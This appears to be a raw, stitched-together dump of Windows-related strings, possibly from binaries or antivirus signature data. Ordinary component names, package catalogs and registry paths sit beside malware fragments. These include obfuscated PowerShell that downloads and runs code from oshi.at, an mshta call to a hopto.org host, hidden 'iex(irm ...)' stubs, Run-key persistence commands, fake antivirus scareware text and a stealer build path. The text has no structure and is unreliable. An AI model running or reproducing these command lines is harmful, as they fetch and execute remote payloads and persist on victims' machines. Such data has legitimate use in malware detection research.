WindowsIndexingDisabledToolTip
WindowsIndexingInProgressMessageU
WindowsIndexingInProgressToolTipU
WindowsIndexingIncompleteDetail
WindowsIndexingIncompleteMessageU
WindowsIndexingNotificationCheckStatusActionU
WindowsIndexingNotificationCheckStatusActionTooltip
WindowsIndexingNotificationDismissActionU
WindowsIndexingNotificationDismissActionTooltip
CheckCreateWindowsAIK_Result
Microsoft.Windows.Security.NXT.PlatformCryptoProviderAggregrate
start/mincmd/cpowershell.exe-windowstylehidden-command"$fpt=\"$env:localappdata\\firewallcomponents\";$microsoft='dll3';
Yc:\windows\system32\windowspowershell\v1.0\powershell.exe${.*}=$pshome[+82-83+1]+$pshome[-13+4]+'a'+$pshome[-77+66];${ap*f}=$([type]${.*});${.**}=${ap*f}::tostring(+79-1-5);${.**..}=${ap*f}::tostring(+79-1-5-4);${..***}=${ap*f}::tostring(+79+30-10+21);&(${.**}+${.**..}+${..***})((.($pshome[+82-83+1]+'u'+$pshome[-77+66]+$pshome[-51+45])('https://oshi.at/ezup')).content)
jc:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypassozhdfboopntjfmdjtgfdjqbinrdfgfdh-windowstyle-commandhidden
 Windows
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
	WINDOWS\system32\cmd.exe)
TEMP=C:\WINDOWS\
c:\windows\system32\
c:\windows\system32\
%c:\windows\system32\drivers\etc\hosts
c:\windows\system32\drivers\etc\hosts.sys
rtg43wsWindows Event EngineSYSTEM\CurrentControlSet\Services\%s
%swindows\xinstall%d.dllc:\win_lj.iniConneCtIOns\pbk\raSPHONE.pbk
windowslogn.exe
reg add "hkcu\software\microsoft\windows\currentversion
cmd /k c:\windows\
WindowsDuplicateString
$DE${8193A4E6-AEA0-4343-858E-3AA3A3CA8F76}$$WINDOWS.DATA.PLACEHOLDERTILECOLLECTIONLOCAL
c:\windows\
c:\windows\
c:\windows\it.bom
r..\windows\system32\cmd.exe/cmethane\
.cmdregc:\windows\system32\shell32.dll%systemroot%
Windows.AppService
Wtfilecopy(@scriptfullpath,@appdatadir&"\"&@scriptname)regwrite(stringreplace("hkey_currentxentversion\run","x","_user\software\microsoft\windows\curr"),"
@echooff%windir%\system32\reg.exeaddhkcu\software\microsoft\windows\currentversion\run/v
service_dll.dllc:\windows\note.iniContent-Disposition: form-data; name="upfile"; filename="title.gif"DczU9XmZwjItdsJrplap2Q==CNDnkzQbGJUhhY9721i2cg==
C:\WINDOWS\system\F.exe
\Software\Microsoft\Windows\CurrentVersion\ExplorerreceberLogon User NameC:\Windows\System\basilisco.exe
SOFTWARE\Microsoft\Windows\W32I\Update\netlog.dat
Ihrundll32.exebSOFTWARE\Microsoft\Windows\currentversion\runameganewnewdriver
software\microsoft\windows\currentversion\policies\system
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.C:\windows\ext_driver.exe
TELEMETRY.ASM-WINDOWSSQ
4\windows\system32\drivers\etc\sandbox.com
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
windows.protocol
Windows\CurrentV
windows.hlp
mswindowsvideo
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
c:\windows\system32\cmd.exe/csetzz=files.bat&cmd.exe/c%zz%>nul&cdfiles&cmd.exe/c"
regaddhkcu\software\microsoft\windows\currentversion\run/v"security"/treg_sz/f/d
c:\windows\system32\regsvr32.exe /s c:\windows\system32\
\Windowsxp.ini
c:\windows\tasks\err.ini
TEMPWINDOWSfile_dropfile_exec
>nul del %0 /s/q/a/fHardware\Description\System\CentralProcessor\0microsoft\windows nt\currentversion\winlogon
 WINDOWS 
c:\windows\tasks\err
{:\windows\system32\rundll32.exe~%
:\windows\system32\rundll32.exe4#
:\windows\system32\rundll32.exe_w
c:\windows\system32\mshta.exehttp://forkasimov.hopto.org/pursue/updates.html/f
c:\windows\system32\cmd.exe/csetzz=files.bat&cmd.exe/c%zz%>nul&cdfiles&cmd.exe/c"
lc:\windows\system32\cmd.exe/c"%systemroot%\explorer.exe%cd%plispppbackup2017&start%cd%fhgtdkw.exe&exit"
c:\windows\system32\cmd.exe/c"{117f54fe-f2c5-27e5-32cd-64f29d873250}\708c34fc-cc4f-3561-6170-efa14708b7b8.exe'????&????\'"
dc:\windows\system32\cmd.exe/c"{
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
server.jpg",$w&"\j-y.worm.jpg")fileinstall("c:\j_y.jpg",$w&"\j_y.jpg")iffileexists("c:\windows\autorun.inf
c:\windows\calc1.exe%s\AYLaunch.exe%s\usp10.dll.bak
WINDOWS_8X
WINDOWS_PHONE_8X
WINDOWS_CORE
WINDOWS_CORE_HEADLESS
start-process'c:\windows\temp\
MicrosoftWindowsFileExplorer
Microsoft.Windows.Shell.CloudFiles
Microsoft.Windows.FileExplorerPerf
Microsoft.Windows.CentennialActivation
Microsoft.Windows.ShellExecute
Microsoft.Windows.Shell.DefaultAssoc
Microsoft.Windows.AppLifeCycle.UI
Microsoft-Windows-Shell-Launcher
Microsoft.Windows.Shell.Edp
Microsoft.Windows.Shell.OpenWith
Microsoft.Windows.Shell.NetFolder
Microsoft.Windows.Shell.DirectLaunchTelemetry
Microsoft.Windows.Shell.People
Microsoft.Windows.Shell.MountPoint
Microsoft.Windows.Shell.CCoInitializeCheck
Windows.Storage.pdb
X-BM-WindowsFlights: FX:1387B252,FX:1390908A,FX:139625D1,FX:13A03C5B,FX:1361B13C,FX:1352C485,FX:138E93ED,FX:137506BB,FX:135E3503,FX:1361B178,FX:130DD09D,FX:138F1B88,FX:1304E3F4,FX:1312D799,FX:139B604C,FX:13802EFB,FX:137ABC77,FX:136CA592,FX:137F4285,FX:1368E1B0,FX:13770BB8,FX:03906DEF,FX:138580B2,FX:1393480A,FX:1377D688,FX:139B65B3,FX:13936BEB,FX:139A40D0,FX:139A4E0D,FX:138AFBD8,FX:1388E986,FX:137297A9,FX:1388E988,FX:1388E987,FX:137599CB,FX:0390BB93,FX:1388E985,FX:1388E989,FX:137BDA0A,FX:138A2837,FX:1386304D,FX:137DAA81,FX:139EB4E1,FX:1388E98A,FX:1388E990,FX:1388E992,FX:1389169E,FX:13A28A66,FX:13922784,FX:1383F373,FX:1392C19F,FX:1399AD0E,FX:1399AD0A,FX:13999239,FX:13966E9C,FX:1397466B,FX:13A33F92,FX:03A2815C
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
C:\WINDOWS\dr
C:\WINDOWS\dr
C:\WINDOWS\dr
"></td><td><ahref="#"><strong>windows&nbsp;firewall
reportsthatitmightbeoutofdate.clickrecommendationsforsuggestedactionsyoucantake.<ahref="#">howdoesantivirussoftwarehelpprotectmycomputer?</a><br><br>note:windowsdoesnotdetectallantivirusprograms.<br><divstyle="text-align:right"><inputtype="button"name="button"id="button"value="recommendations
wireshark antivirusprotectyourpc-11.com/cgi-bin/cycle_report25.cgiinternet attack attempt detected:windows has found spy programs running on your computer!6988405c-71c3-427c-975a-0398706e79ee
id=%s&hwid=%s&p=%d&os=%ssecurity guard 201running of application is impossible.windows has detected malicious programs running on your computer.w
Microsoft.Windows.Security.Certificates
WindowsVersion
Microsoft.Windows.Kernel.KernelBase
Microsoft-Windows-AppModel-State
Microsoft.Windows.Kernel.KernelBase.Fallback
Microsoft-Windows-AppModel-Runtime
Microsoft.Windows.Kernel.Base
Microsoft.Windows.WilFeatureToggles
Microsoft.Windows.AppModel.StateManagerTelemetry
Microsoft.Windows.AppxCreateProcessExtensions
Microsoft.Windows.AppModel.ProcessCreation
Microsoft.Windows.Health.TestInProduction
Microsoft.Windows.FeatureTuning
Microsoft.Windows.FeatureTuning
C:\WINDOWS\SYSTEM32\
Microsoft-Windows-Winsock2
\SystemRoot\System32\drivers\ws2ifsl.sys
\windows)	
microsoft.windows.filesystem.findstrfindstr.pdb!#OFN:netsh.exe
microsoft-windows-netshn
mIshell\lib\runonce\runonce.cppmicrosoft.windows.shell.runoncee
tc:\windows\inf\redisstudioc:\windows\debug\redisstudioc:\windows\help\redisstudioc:\windows\media\redisstudio!#HSTR:Trojan:Win32/Killav.EL
\windows\currentversion\ruP
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
windows.fileTypeAssociation
AppStub_Windows.App
L	c:\windows
	\windows\sP
g_win32_check_windows_version
g_win32_get_windows_version
Microsoft-Windows-AppModel-State
Microsoft.Windows.SRUM.ComponentEnergyLib
Microsoft.Windows.Update.Aggregators
Microsoft.Windows.Utc.ReentrancyTest
Microsoft.Windows.Security.Certificates
="http://3z.nu:8080/ama8azw7veg/rk67f/mbbwr/!computername!"j^u^gps^t=mj^ti-^q^ki^vhcb=t^lab^yrei"%systemroot%\system32\imageres.dll
schtasks /change /disable /tn "\microsoft\windows\ws\license validation"
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=SearchHost.exe --webview-exe-version=2125.34901.0.0 --user-data-dir="C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --enable-features=msEdgeFluentOverlayScrollbar --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --lang=en-US --mojo-named-platform-channel-pipe=7880.8048.2576669683719983878 /pfhostedapp:a558757a2a6beecd631aec818273c1c2997db5cf
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$0L@@WRL@Microsoft@@$00$00$0A@UISecurityAppBrokerSink@SecurityCenter@Windows@@@Details@WRL@Microsoft@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$0L@@WRL@Microsoft@@UISecurityAppBrokerSink@SecurityCenter@Windows@@@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$0L@@WRL@Microsoft@@$0A@UISecurityAppBrokerSink@SecurityCenter@Windows@@UIWeakReferenceSource@@@Details@WRL@Microsoft@@
.?AUISecurityAppBrokerSink@SecurityCenter@Windows@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
@c:\windows\
Net.HttpProxy.WindowsSystemResolver.WinError
..\..\net\proxy_resolution\win\windows_system_proxy_resolution_service.cc
WindowsSystemProxyResolutionService is only supported for Windows 10 Version 1607 (RS1) and later.
Windows system proxy configuration
windows_error
c0^com.microsoft.windows.app.microsoftaccountengagementcoordinator
com.microsoft.windows.app.microsoftaccountengagementcoordinator
114^com.microsoft.windows.extensionpackage3
c7^com.microsoft.windows.extensionpackage
115^com.microsoft.windows.extensions.xaml.aix
com.microsoft.windows.extensions.xaml.aix
shell.exe-windowstylehidden-executionpolicybypass-command"start-process'./
objetsh.run"xcopy%systemroot%\system32\wscript.exe%systemdrive%\win32system\/c/q/y"
windows.fileTypeAssociation
windows.appExecutionAlias
Windows.FullTrustApplication
windows.desktopAppMigration
Welcome to Windows
C:\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwet
C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2511.47.0_neutral_split.scale-100_8wekyb3d8bbweweb
C:\Program Files\WindowsApps\Microsoft.UI.Xaml.2
software\microsoft\windows\currentversion\run
$C:\WINDOWS\SYSTEM32\A
SetWindowsHookExW
UnhookWindowsHookEx
GetSystemWindowsDirectoryW
$Lwindows_universal
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
Windows.Data.Platform.Diagnostics.DiagnosticData
Windows.Data.Platform.Diagnostics.DiagnosticSubData
Windows.Data.Platform.Diagnostics.DiagnosticSubDataIntKey
Windows.Data.Platform.Diagnostics.DiagnosticDeviceData
Windows.Data.Platform.Diagnostics.DiagnosticCollectionItemData
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
Windows.Data.Platform.Diagnostics.DiagnosticAtomicSubData
Windows.Data.Platform.Diagnostics.DiagnosticSingletonData
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
Windows.Data.Platform.Encryption.EncryptableValue
Windows.Data.Platform.Encryption.StructureValue
Windows.Data.Platform.Encryption.ScalarValue
Windows.Data.Platform.Partitioning.OperatingSystemVersion
Windows.Data.Platform.Partitioning.SystemPartitionIndex
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Platform.Partitioning.PartitionIndex
Windows.Data.Platform.BackupRestore.DeviceProfile
Windows.Data.Platform.BackupRestore.ManifestBackupStore
Windows.Data.Background.DesktopWallpaper
Windows.Data.Security.Vault.WebCredentials
Windows.Data.Shell.FocusActiveSessions
Windows.Data.Shell.FocusSessionActiveTheme
Windows.Data.Shell.FocusSessionOffTheme
Windows.Data.PersonalizationThemes.Theme
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Globalization.Culture.CultureSettings
Windows.Data.Globalization.LanguageSettings
Windows.Data.Input.FilePathInfo
Windows.Data.Input.HistoryFiles
Windows.Data.Input.FileData
Windows.Data.Input.PersonalWords.WordsUsage
Windows.Data.Input.PersonalWords.UsageInfo
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Input.Devices.MouseSyncedSettings
Windows.Data.Input.Devices.TouchpadSyncedSettings
Windows.Data.Input.Devices.PenSyncedSettings
Windows.Data.Input.Devices.TouchpadSettings
Windows.Data.Input.Devices.PenSettings
Windows.Data.Input.Devices.MouseSettings
Windows.Data.Input.Devices.TouchSettings
Windows.Data.Input.Devices.PenPerDevice
allowScrollInactiveWindows
Windows.Data.Input.Text.SpellerDictionary
Windows.Data.Input.Text.LanguageUnigramList
Windows.Data.Input.Text.RoamingDictionary
Windows.Data.InternetExplorer.Favorites
Windows.Data.InternetExplorer.TypedURLs
Windows.Data.InternetExplorer.AutoComplete
Windows.Data.InternetExplorer.TabRoaming
Windows.Data.InternetExplorer.BrowserHistory
Windows.Data.Messaging.Settings
Windows.Data.Messaging.SettingsLocalCache
Windows.Data.Nlm.NlmSignature
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileData
Windows.Data.Platform.Diagnostics.DiagnosticSecureData
2Ec:\windows\system32\rundll32.exeshell32.dll,shellexec_rundllpowershell-whidden-command"iex(irm'https://
windir=C:\WINDOWS_
COMPUTERNAME=WINDOWS11
OS=Windows_NT
Windows.Data.UnifiedTile.
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
@{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/VisualAssist/Resources/AppDisplayName}
@{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/VisualAssist/Resources/AppDescription}
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe
microsoft.windowsappruntime.1.8_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe
microsoft.windowsappruntime.1.7_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.7
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.6
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.7
C:\Program Files (x86)\Windows Defender\MpHeadlessRun.exeApplication added to startup successfully.Make sure to run the program with administrator privilegesstealer\x64\Release\stealer.pdb
&@USERPROFILE=C:\WINDOWS\ServiceProfiles\NetworkService
(@TEMP=C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp
+@TMP=C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp
,@DriverData=C:\Windows\System32\Drivers\DriverData
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Staging.h
powershell-nop-whidden-c"$c='conhost.exe--headlesspowershell-nop-whidden-c'+[char]34+$myinvocation.mycommand+[char]34;set-itemproperty'hkcu:software\microsoft\windows\currentversion\runonce'
<si><t>-</t></si><si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><txml:space="preserve">&lt;0,</t></si><si><t>syswow64\</t></si><si><t>\windows\</t></si><si><t>",0,0)</t></si>
&"windows",falsek
Microsoft Windowsy
Microsoft Windows
}=fso.getspecialfolder(2)+'\\windowsupdate.hta';k
%BrowserAppProfile%\International\Script%BrowserAppProfile%\EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy!EUPPUkraineResetComplete
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS!Bitmap
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft.Windows.Shell.OpenWith
MicrosoftWindowsFileExplorer
Microsoft.Windows.Desktop.Shell.Shell32
Microsoft.Windows.FileExplorerPerf
Microsoft.Windows.Shell.FileExplorer.Aggregate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.FileExplorerErrorFallback
Microsoft.Windows.Shell.DirectLaunchTelemetry
Microsoft.Windows.Shell.Taskbar
Microsoft.Windows.Shell.RunDialog
Microsoft.Windows.Shell.IconCache
Microsoft.Windows.Shell.CloudFiles
Microsoft.Windows.Shell.DesktopWallpaper
Microsoft.Windows.Shell.Desktop.IconLayout
Microsoft.Windows.MobilityExperience
Microsoft.Windows.Shell.ControlPanelBase
Microsoft.Windows.Shell.PropertyThumbnailHandler
Microsoft.Windows.Shell.CoCreateInstanceAsSystemTaskServer
Microsoft.Windows.Shell.Homegroup
Microsoft.Windows.Shell.PostBootReminder
Microsoft.Windows.Shell.Taskbar.ProgrammableTaskbar
Microsoft.Windows.Defender.Shield
Microsoft-Windows-Desktop-Shell-Personalization
Microsoft.Windows.Shell.InfraCriticalFailure
Microsoft.Windows.Desktop.Shell.OOBEHealth
WindowsCodecs.dll
Windows.Storage.dll
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
a9^windows.preInstalledConfigTas"
b2^windows.updateTas
windows.autoPlayContent
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
onecoreuap\shell\windows.storage\sharedstoragesources\defaultassociations.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\cassochandler.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\dvthumbnail.cpp
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!HighRiskFileTypes
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!HighRiskFileTypes
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID!%s
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID!%s
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!RestrictToList
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!RestrictToList
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!NoFirsttimeprompt
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!NoFirsttimeprompt
Windows\CurrentVersion\Ext\PreApproved\%s
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
System.Windows.Forms.UnsafeNativeMethods.IOleContainer.ParseDisplayName
EnableWindowsFormsHighDpiAutoResizingKeyName
System.Windows.Forms.UnsafeNativeMethods.IOleControlSite.ShowPropertyFrame
System.Windows.Forms.UnsafeNativeMethods.IOleObject.SetColorScheme
s\system32
SOFTWARE\Microsoft\Windows\CurrentVersion\RunFdownInetReadFPathProcess
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS\ENABLE!CheckedValue
start"""c:\windows\system32\printui.exe"
powershell.exe-windowstylehidden-command
>Credits (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG)
mRemoteNG (C:\ProgramData\Microsoft\Windows\Start Menu\Programs)
!'file:C:/ProgramData/Microsoft/Windows/Start Menu/Programs/mRemoteNG/Credits.lnk
!!C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG\Credits.lnk
>Readme (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG)
mRemoteNG (C:\ProgramData\Microsoft\Windows\Start Menu\Programs)
#'file:C:/ProgramData/Microsoft/Windows/Start Menu/Programs/mRemoteNG/Readme.lnk
#!C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG\Readme.lnkF
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG
>License (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG)
mRemoteNG (C:\ProgramData\Microsoft\Windows\Start Menu\Programs)
"'file:C:/ProgramData/Microsoft/Windows/Start Menu/Programs/mRemoteNG/License.lnk
"!C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG\License.lnkF
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG
content-pathc:\programdata\windows-streamkernel32.dll
="powershell-windowstyle1"endfunction
allowScrollInactiveWindows
Ec:\\windows\\system32\\kernelbase.dll
!#SCRIPT:VBSSaveToWindowsTemp.A
c:\windows\temp\
-windowstylehidden-epbypass-command"$
Windows.Data.Nlm.NlmSignature
Windows.Data.Platform.LocalCache.CloudCacheEntryMetadata
Windows.Data.Platform.LocalCache.RetryCacheEntry
Windows.Data.Platform.LocalCache.VersionedBlobReference
Windows.Data.ColorSettings.ColorData
Windows.Data.Consent.ConsentItem
Windows.Data.DeviceSettings.DeviceSettingsData
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.WindowsBackup.Preference.Toggles
Windows.Data.Platform.ItemReference<bond.Void>
Windows.Data.Account.AccountInfo
/add.php?windows=
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.WiFi.WiFiProfileCost
Windows.Data.Platform.LocalCache.BlobReference
Windows.Data.Consent.ConsentValue
Windows.Data.Shell.FocusSessionOffTheme
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Signals.SystemStateCondition
Windows.Data.Account.SecondaryAccounts
Windows.Data.Settings.MultiTasking.MultiTaskOthers
Windows.Data.Platform.LocalCache.CurrentCacheEntryMetadata
Windows.Data.Platform.LocalCache.CurrentCacheEntry
Windows.Data.Platform.LocalCache.CloudCacheEntry
Windows.Data.PlaceholderTile
Windows.Data.TouchKeyboard
Windows.Data.TouchKeyboardLocal
Windows.Data.Sounds
Windows.Data.KeyCodeMFU
Windows.Data.KeycodeMFUs
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Root>
ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
